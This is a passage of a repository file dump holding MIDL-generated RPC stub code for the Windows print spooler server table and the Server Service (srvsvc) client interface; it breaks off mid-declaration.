(SERVER_ROUTINE)Opnum49NotUsedOnWire,\n    (SERVER_ROUTINE)Opnum50NotUsedOnWire,\n    (SERVER_ROUTINE)RpcEnumPrintProcessorDatatypes,\n    (SERVER_ROUTINE)RpcResetPrinter,\n    (SERVER_ROUTINE)RpcGetPrinterDriver2,\n    (SERVER_ROUTINE)Opnum54NotUsedOnWire,\n    (SERVER_ROUTINE)Opnum55NotUsedOnWire,\n    (SERVER_ROUTINE)RpcFindClosePrinterChangeNotification,\n    (SERVER_ROUTINE)Opnum57NotUsedOnWire,\n    (SERVER_ROUTINE)RpcReplyOpenPrinter,\n    (SERVER_ROUTINE)RpcRouterReplyPrinter,\n    (SERVER_ROUTINE)RpcReplyClosePrinter,\n    (SERVER_ROUTINE)RpcAddPortEx,\n    (SERVER_ROUTINE)RpcRemoteFindFirstPrinterChangeNotification,\n    (SERVER_ROUTINE)Opnum63NotUsedOnWire,\n    (SERVER_ROUTINE)Opnum64NotUsedOnWire,\n    (SERVER_ROUTINE)RpcRemoteFindFirstPrinterChangeNotificationEx,\n    (SERVER_ROUTINE)RpcRouterReplyPrinterEx,\n    (SERVER_ROUTINE)RpcRouterRefreshPrinterChangeNotification,\n    (SERVER_ROUTINE)Opnum68NotUsedOnWire,\n    (SERVER_ROUTINE)RpcOpenPrinterEx,\n    (SERVER_ROUTINE)RpcAddPrinterEx,\n    (SERVER_ROUTINE)RpcSetPort,\n    (SERVER_ROUTINE)RpcEnumPrinterData,\n    (SERVER_ROUTINE)RpcDeletePrinterData,\n    (SERVER_ROUTINE)Opnum74NotUsedOnWire,\n    (SERVER_ROUTINE)Opnum75NotUsedOnWire,\n    (SERVER_ROUTINE)Opnum76NotUsedOnWire,\n    (SERVER_ROUTINE)RpcSetPrinterDataEx,\n    (SERVER_ROUTINE)RpcGetPrinterDataEx,\n    (SERVER_ROUTINE)RpcEnumPrinterDataEx,\n    (SERVER_ROUTINE)RpcEnumPrinterKey,\n    (SERVER_ROUTINE)RpcDeletePrinterDataEx,\n    (SERVER_ROUTINE)RpcDeletePrinterKey,\n    (SERVER_ROUTINE)Opnum83NotUsedOnWire,\n    (SERVER_ROUTINE)RpcDeletePrinterDriverEx,\n    (SERVER_ROUTINE)RpcAddPerMachineConnection,\n    (SERVER_ROUTINE)RpcDeletePerMachineConnection,\n    (SERVER_ROUTINE)RpcEnumPerMachineConnections,\n    (SERVER_ROUTINE)RpcXcvData,\n    (SERVER_ROUTINE)RpcAddPrinterDriverEx,\n    (SERVER_ROUTINE)Opnum90NotUsedOnWire,\n    (SERVER_ROUTINE)Opnum91NotUsedOnWire,\n    (SERVER_ROUTINE)Opnum92NotUsedOnWire,\n    (SERVER_ROUTINE)Opnum93NotUsedOnWire,\n    (SERVER_ROUTINE)Opnum94NotUsedOnWire,\n    (SERVER_ROUTINE)Opnum95NotUsedOnWire,\n    (SERVER_ROUTINE)RpcFlushPrinter,\n    (SERVER_ROUTINE)RpcSendRecvBidiData,\n    (SERVER_ROUTINE)Opnum98NotUsedOnWire,\n    (SERVER_ROUTINE)Opnum99NotUsedOnWire,\n    (SERVER_ROUTINE)Opnum100NotUsedOnWire,\n    (SERVER_ROUTINE)Opnum101NotUsedOnWire,\n    (SERVER_ROUTINE)RpcGetCorePrinterDrivers,\n    (SERVER_ROUTINE)Opnum103NotUsedOnWire,\n    (SERVER_ROUTINE)RpcGetPrinterDriverPackagePath,\n    (SERVER_ROUTINE)Opnum105NotUsedOnWire,\n    (SERVER_ROUTINE)Opnum106NotUsedOnWire,\n    (SERVER_ROUTINE)Opnum107NotUsedOnWire,\n    (SERVER_ROUTINE)Opnum108NotUsedOnWire,\n    (SERVER_ROUTINE)Opnum109NotUsedOnWire,\n    (SERVER_ROUTINE)RpcGetJobNamedPropertyValue,\n    (SERVER_ROUTINE)RpcSetJobNamedProperty,\n    (SERVER_ROUTINE)RpcDeleteJobNamedProperty,\n    (SERVER_ROUTINE)RpcEnumJobNamedProperties,\n    (SERVER_ROUTINE)Proc114,\n    (SERVER_ROUTINE)Proc115,\n    (SERVER_ROUTINE)Proc116\n    };\n\nstatic const MIDL_SERVER_INFO winspool_ServerInfo = \n    {\n    &winspool_StubDesc,\n    winspool_ServerRoutineTable,\n    ms2Drprn__MIDL_ProcFormatString.Format,\n    (unsigned short *) winspool_FormatStringOffsetTable,\n    0,\n    (RPC_SYNTAX_IDENTIFIER*)&_NDR64_RpcTransferSyntax_1_0,\n    2,\n    (MIDL_SYNTAX_INFO*)winspool_SyntaxInfo\n    };\n#if _MSC_VER >= 1200\n#pragma warning(pop)\n#endif\n\n\n#endif /* defined(_M_AMD64)*/\n\n"
  },
  {
    "path": "rpc_interfaces/ms-srvsvc_c.c",
    "content": "\n\n/* this ALWAYS GENERATED file contains the RPC client stubs */\n\n\n /* File created by MIDL compiler version 8.01.0628 */\n/* at Mon Jan 18 19:14:07 2038\n */\n/* Compiler settings for ms-srvsvc.idl:\n    Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0628 \n    protocol : all , ms_ext, c_ext, robust\n    error checks: allocation ref bounds_check enum stub_data \n    VC __declspec() decoration level: \n         __declspec(uuid()), __declspec(selectany), __declspec(novtable)\n         DECLSPEC_UUID(), MIDL_INTERFACE()\n*/\n/* @@MIDL_FILE_HEADING(  ) */\n\n#if defined(_M_AMD64)\n\n\n#if _MSC_VER >= 1200\n#pragma warning(push)\n#endif\n\n#pragma warning( disable: 4211 )  /* redefine extern to static */\n#pragma warning( disable: 4232 )  /* dllimport identity*/\n#pragma warning( disable: 4024 )  /* array to pointer mapping*/\n\n#include <string.h>\n\n#include \"ms-srvsvc_h.h\"\n\n#define TYPE_FORMAT_STRING_SIZE   3795                              \n#define PROC_FORMAT_STRING_SIZE   3305                              \n#define EXPR_FORMAT_STRING_SIZE   1                                 \n#define TRANSMIT_AS_TABLE_SIZE    0            \n#define WIRE_MARSHAL_TABLE_SIZE   0            \n\ntypedef struct _ms2Dsrvsvc_MIDL_TYPE_FORMAT_STRING\n    {\n    short          Pad;\n    unsigned char  Format[ TYPE_FORMAT_STRING_SIZE ];\n    } ms2Dsrvsvc_MIDL_TYPE_FORMAT_STRING;\n\ntypedef struct _ms2Dsrvsvc_MIDL_PROC_FORMAT_STRING\n    {\n    short          Pad;\n    unsigned char  Format[ PROC_FORMAT_STRING_SIZE ];\n    } ms2Dsrvsvc_MIDL_PROC_FORMAT_STRING;\n\ntypedef struct _ms2Dsrvsvc_MIDL_EXPR_FORMAT_STRING\n    {\n    long          Pad;\n    unsigned char  Format[ EXPR_FORMAT_STRING_SIZE ];\n    } ms2Dsrvsvc_MIDL_EXPR_FORMAT_STRING;\n\n\nstatic const RPC_SYNTAX_IDENTIFIER  _RpcTransferSyntax_2_0 = \n{{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}};\n\nstatic const RPC_SYNTAX_IDENTIFIER  _NDR64_RpcTransferSyntax_1_0 = \n{{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}};\n\n#if defined(_CONTROL_FLOW_GUARD_XFG)\n#define XFG_TRAMPOLINES(ObjectType)\\\nNDR_SHAREABLE unsigned long ObjectType ## _UserSize_XFG(unsigned long * pFlags, unsigned long Offset, void * pObject)\\\n{\\\nreturn  ObjectType ## _UserSize(pFlags, Offset, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserMarshal_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserMarshal(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserUnmarshal_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserUnmarshal(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE void ObjectType ## _UserFree_XFG(unsigned long * pFlags, void * pObject)\\\n{\\\nObjectType ## _UserFree(pFlags, (ObjectType *)pObject);\\\n}\n#define XFG_TRAMPOLINES64(ObjectType)\\\nNDR_SHAREABLE unsigned long ObjectType ## _UserSize64_XFG(unsigned long * pFlags, unsigned long Offset, void * pObject)\\\n{\\\nreturn  ObjectType ## _UserSize64(pFlags, Offset, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserMarshal64_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserMarshal64(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserUnmarshal64_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserUnmarshal64(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE void ObjectType ## _UserFree64_XFG(unsigned long * pFlags, void * pObject)\\\n{\\\nObjectType ## _UserFree64(pFlags, (ObjectType *)pObject);\\\n}\n#define XFG_BIND_TRAMPOLINES(HandleType, ObjectType)\\\nstatic void* ObjectType ## _bind_XFG(HandleType pObject)\\\n{\\\nreturn ObjectType ## _bind((ObjectType) pObject);\\\n}\\\nstatic void ObjectType ## _unbind_XFG(HandleType pObject, handle_t ServerHandle)\\\n{\\\nObjectType ## _unbind((ObjectType) pObject, ServerHandle);\\\n}\n#define XFG_TRAMPOLINE_FPTR(Function) Function ## _XFG\n#define XFG_TRAMPOLINE_FPTR_DEPENDENT_SYMBOL(Symbol) Symbol ## _XFG\n#else\n#define XFG_TRAMPOLINES(ObjectType)\n#define XFG_TRAMPOLINES64(ObjectType)\n#define XFG_BIND_TRAMPOLINES(HandleType, ObjectType)\n#define XFG_TRAMPOLINE_FPTR(Function) Function\n#define XFG_TRAMPOLINE_FPTR_DEPENDENT_SYMBOL(Symbol) Symbol\n#endif\n\n\n\nextern const ms2Dsrvsvc_MIDL_TYPE_FORMAT_STRING ms2Dsrvsvc__MIDL_TypeFormatString;\nextern const ms2Dsrvsvc_MIDL_PROC_FORMAT_STRING ms2Dsrvsvc__MIDL_ProcFormatString;\nextern const ms2Dsrvsvc_MIDL_EXPR_FORMAT_STRING ms2Dsrvsvc__MIDL_ExprFormatString;\n\n#define GENERIC_BINDING_TABLE_SIZE   1            \n\n\n/* Standard interface: srvsvc, ver. 3.0,\n   GUID={0x4B324FC8,0x1670,0x01D3,{0x12,0x78,0x5A,0x47,0xBF,0x6E,0xE1,0x88}} */\n\n extern const MIDL_STUBLESS_PROXY_INFO srvsvc_ProxyInfo;\n\n\nstatic const RPC_CLIENT_INTERFACE srvsvc___RpcClientInterface =\n    {\n    sizeof(RPC_CLIENT_INTERFACE),\n    {{0x4B324FC8,0x1670,0x01D3,{0x12,0x78,0x5A,0x47,0xBF,0x6E,0xE1,0x88}},{3,0}},\n    {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},\n    0,\n    0,\n    0,\n    0,\n    &srvsvc_ProxyInfo,\n    0x02000000\n    };\nRPC_IF_HANDLE srvsvc_v3_0_c_ifspec = (RPC_IF_HANDLE)& srvsvc___RpcClientInterface;\n#ifdef __cplusplus\nnamespace {\n#endif\n\nextern const MIDL_STUB_DESC srvsvc_StubDesc;\n#ifdef __cplusplus\n}\n#endif\n\nstatic RPC_BINDING_HANDLE srvsvc__MIDL_AutoBindHandle;\n\n\nvoid Opnum0NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  0,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nvoid Opnum1NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  1,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nvoid Opnum2NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  2,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nvoid Opnum3NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  3,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nvoid Opnum4NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  4,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nvoid Opnum5NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  5,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nvoid Opnum6NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  6,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nvoid Opnum7NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  7,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nNET_API_STATUS NetrConnectionEnum( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [unique][string][in] */ WCHAR *Qualifier,\n    /* [out][in] */ LPCONNECT_ENUM_STRUCT InfoStruct,\n    /* [in] */ DWORD PreferedMaximumLength,\n    /* [out] */ DWORD *TotalEntries,\n    /* [unique][out][in] */ DWORD *ResumeHandle)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  8,\n                  0,\n                  ServerName,\n                  Qualifier,\n                  InfoStruct,\n                  PreferedMaximumLength,\n                  TotalEntries,\n                  ResumeHandle);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrFileEnum( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [unique][string][in] */ WCHAR *BasePath,\n    /* [unique][string][in] */ WCHAR *UserName,\n    /* [out][in] */ PFILE_ENUM_STRUCT InfoStruct,\n    /* [in] */ DWORD PreferedMaximumLength,\n    /* [out] */ DWORD *TotalEntries,\n    /* [unique][out][in] */ DWORD *ResumeHandle)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  9,\n                  0,\n                  ServerName,\n                  BasePath,\n                  UserName,\n                  InfoStruct,\n                  PreferedMaximumLength,\n                  TotalEntries,\n                  ResumeHandle);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrFileGetInfo( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ DWORD FileId,\n    /* [in] */ DWORD Level,\n    /* [switch_is][out] */ LPFILE_INFO InfoStruct)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  10,\n                  0,\n                  ServerName,\n                  FileId,\n                  Level,\n                  InfoStruct);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrFileClose( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ DWORD FileId)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  11,\n                  0,\n                  ServerName,\n                  FileId);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrSessionEnum( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [unique][string][in] */ WCHAR *ClientName,\n    /* [unique][string][in] */ WCHAR *UserName,\n    /* [out][in] */ PSESSION_ENUM_STRUCT InfoStruct,\n    /* [in] */ DWORD PreferedMaximumLength,\n    /* [out] */ DWORD *TotalEntries,\n    /* [unique][out][in] */ DWORD *ResumeHandle)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  12,\n                  0,\n                  ServerName,\n                  ClientName,\n                  UserName,\n                  InfoStruct,\n                  PreferedMaximumLength,\n                  TotalEntries,\n                  ResumeHandle);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrSessionDel( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [unique][string][in] */ WCHAR *ClientName,\n    /* [unique][string][in] */ WCHAR *UserName)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  13,\n                  0,\n                  ServerName,\n                  ClientName,\n                  UserName);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrShareAdd( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ DWORD Level,\n    /* [switch_is][in] */ LPSHARE_INFO InfoStruct,\n    /* [unique][out][in] */ DWORD *ParmErr)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  14,\n                  0,\n                  ServerName,\n                  Level,\n                  InfoStruct,\n                  ParmErr);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrShareEnum( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [out][in] */ LPSHARE_ENUM_STRUCT InfoStruct,\n    /* [in] */ DWORD PreferedMaximumLength,\n    /* [out] */ DWORD *TotalEntries,\n    /* [unique][out][in] */ DWORD *ResumeHandle)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  15,\n                  0,\n                  ServerName,\n                  InfoStruct,\n                  PreferedMaximumLength,\n                  TotalEntries,\n                  ResumeHandle);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrShareGetInfo( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [string][in] */ WCHAR *NetName,\n    /* [in] */ DWORD Level,\n    /* [switch_is][out] */ LPSHARE_INFO InfoStruct)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  16,\n                  0,\n                  ServerName,\n                  NetName,\n                  Level,\n                  InfoStruct);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrShareSetInfo( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [string][in] */ WCHAR *NetName,\n    /* [in] */ DWORD Level,\n    /* [switch_is][in] */ LPSHARE_INFO ShareInfo,\n    /* [unique][out][in] */ DWORD *ParmErr)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  17,\n                  0,\n                  ServerName,\n                  NetName,\n                  Level,\n                  ShareInfo,\n                  ParmErr);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrShareDel( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [string][in] */ WCHAR *NetName,\n    /* [in] */ DWORD Reserved)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  18,\n                  0,\n                  ServerName,\n                  NetName,\n                  Reserved);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrShareDelSticky( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [string][in] */ WCHAR *NetName,\n    /* [in] */ DWORD Reserved)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  19,\n                  0,\n                  ServerName,\n                  NetName,\n                  Reserved);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrShareCheck( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [string][in] */ WCHAR *Device,\n    /* [out] */ DWORD *Type)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  20,\n                  0,\n                  ServerName,\n                  Device,\n                  Type);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrServerGetInfo( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ DWORD Level,\n    /* [switch_is][out] */ LPSERVER_INFO InfoStruct)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  21,\n                  0,\n                  ServerName,\n                  Level,\n                  InfoStruct);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrServerSetInfo( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ DWORD Level,\n    /* [switch_is][in] */ LPSERVER_INFO ServerInfo,\n    /* [unique][out][in] */ DWORD *ParmErr)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  22,\n                  0,\n                  ServerName,\n                  Level,\n                  ServerInfo,\n                  ParmErr);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrServerDiskEnum( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ DWORD Level,\n    /* [out][in] */ DISK_ENUM_CONTAINER *DiskInfoStruct,\n    /* [in] */ DWORD PreferedMaximumLength,\n    /* [out] */ DWORD *TotalEntries,\n    /* [unique][out][in] */ DWORD *ResumeHandle)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  23,\n                  0,\n                  ServerName,\n                  Level,\n                  DiskInfoStruct,\n                  PreferedMaximumLength,\n                  TotalEntries,\n                  ResumeHandle);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrServerStatisticsGet( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [unique][string][in] */ WCHAR *Service,\n    /* [in] */ DWORD Level,\n    /* [in] */ DWORD Options,\n    /* [out] */ LPSTAT_SERVER_0 *InfoStruct)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  24,\n                  0,\n                  ServerName,\n                  Service,\n                  Level,\n                  Options,\n                  InfoStruct);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrServerTransportAdd( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ DWORD Level,\n    /* [in] */ LPSERVER_TRANSPORT_INFO_0 Buffer)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  25,\n                  0,\n                  ServerName,\n                  Level,\n                  Buffer);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrServerTransportEnum( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [out][in] */ LPSERVER_XPORT_ENUM_STRUCT InfoStruct,\n    /* [in] */ DWORD PreferedMaximumLength,\n    /* [out] */ DWORD *TotalEntries,\n    /* [unique][out][in] */ DWORD *ResumeHandle)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  26,\n                  0,\n                  ServerName,\n                  InfoStruct,\n                  PreferedMaximumLength,\n                  TotalEntries,\n                  ResumeHandle);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrServerTransportDel( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [in] */ DWORD Level,\n    /* [in] */ LPSERVER_TRANSPORT_INFO_0 Buffer)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  27,\n                  0,\n                  ServerName,\n                  Level,\n                  Buffer);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetrRemoteTOD( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [out] */ LPTIME_OF_DAY_INFO *BufferPtr)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  28,\n                  0,\n                  ServerName,\n                  BufferPtr);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nvoid Opnum29NotUsedOnWire( \n    /* [in] */ handle_t IDL_handle)\n{\n\n    NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  29,\n                  0,\n                  IDL_handle);\n    \n}\n\n\nNET_API_STATUS NetprPathType( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [string][in] */ WCHAR *PathName,\n    /* [out] */ DWORD *PathType,\n    /* [in] */ DWORD Flags)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  30,\n                  0,\n                  ServerName,\n                  PathName,\n                  PathType,\n                  Flags);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetprPathCanonicalize( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [string][in] */ WCHAR *PathName,\n    /* [size_is][out] */ unsigned char *Outbuf,\n    /* [range][in] */ DWORD OutbufLen,\n    /* [string][in] */ WCHAR *Prefix,\n    /* [out][in] */ DWORD *PathType,\n    /* [in] */ DWORD Flags)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  31,\n                  0,\n                  ServerName,\n                  PathName,\n                  Outbuf,\n                  OutbufLen,\n                  Prefix,\n                  PathType,\n                  Flags);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nlong NetprPathCompare( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [string][in] */ WCHAR *PathName1,\n    /* [string][in] */ WCHAR *PathName2,\n    /* [in] */ DWORD PathType,\n    /* [in] */ DWORD Flags)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  32,\n                  0,\n                  ServerName,\n                  PathName1,\n                  PathName2,\n                  PathType,\n                  Flags);\n    return ( long  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetprNameValidate( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [string][in] */ WCHAR *Name,\n    /* [in] */ DWORD NameType,\n    /* [in] */ DWORD Flags)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&srvsvc_ProxyInfo,\n                  33,\n                  0,\n                  ServerName,\n                  Name,\n                  NameType,\n                  Flags);\n    return ( NET_API_STATUS  )_RetVal.Simple;\n    \n}\n\n\nNET_API_STATUS NetprNameCanonicalize( \n    /* [unique][string][in] */ SRVSVC_HANDLE ServerName,\n    /* [string][in] */ WCHAR *Name,\n    /* 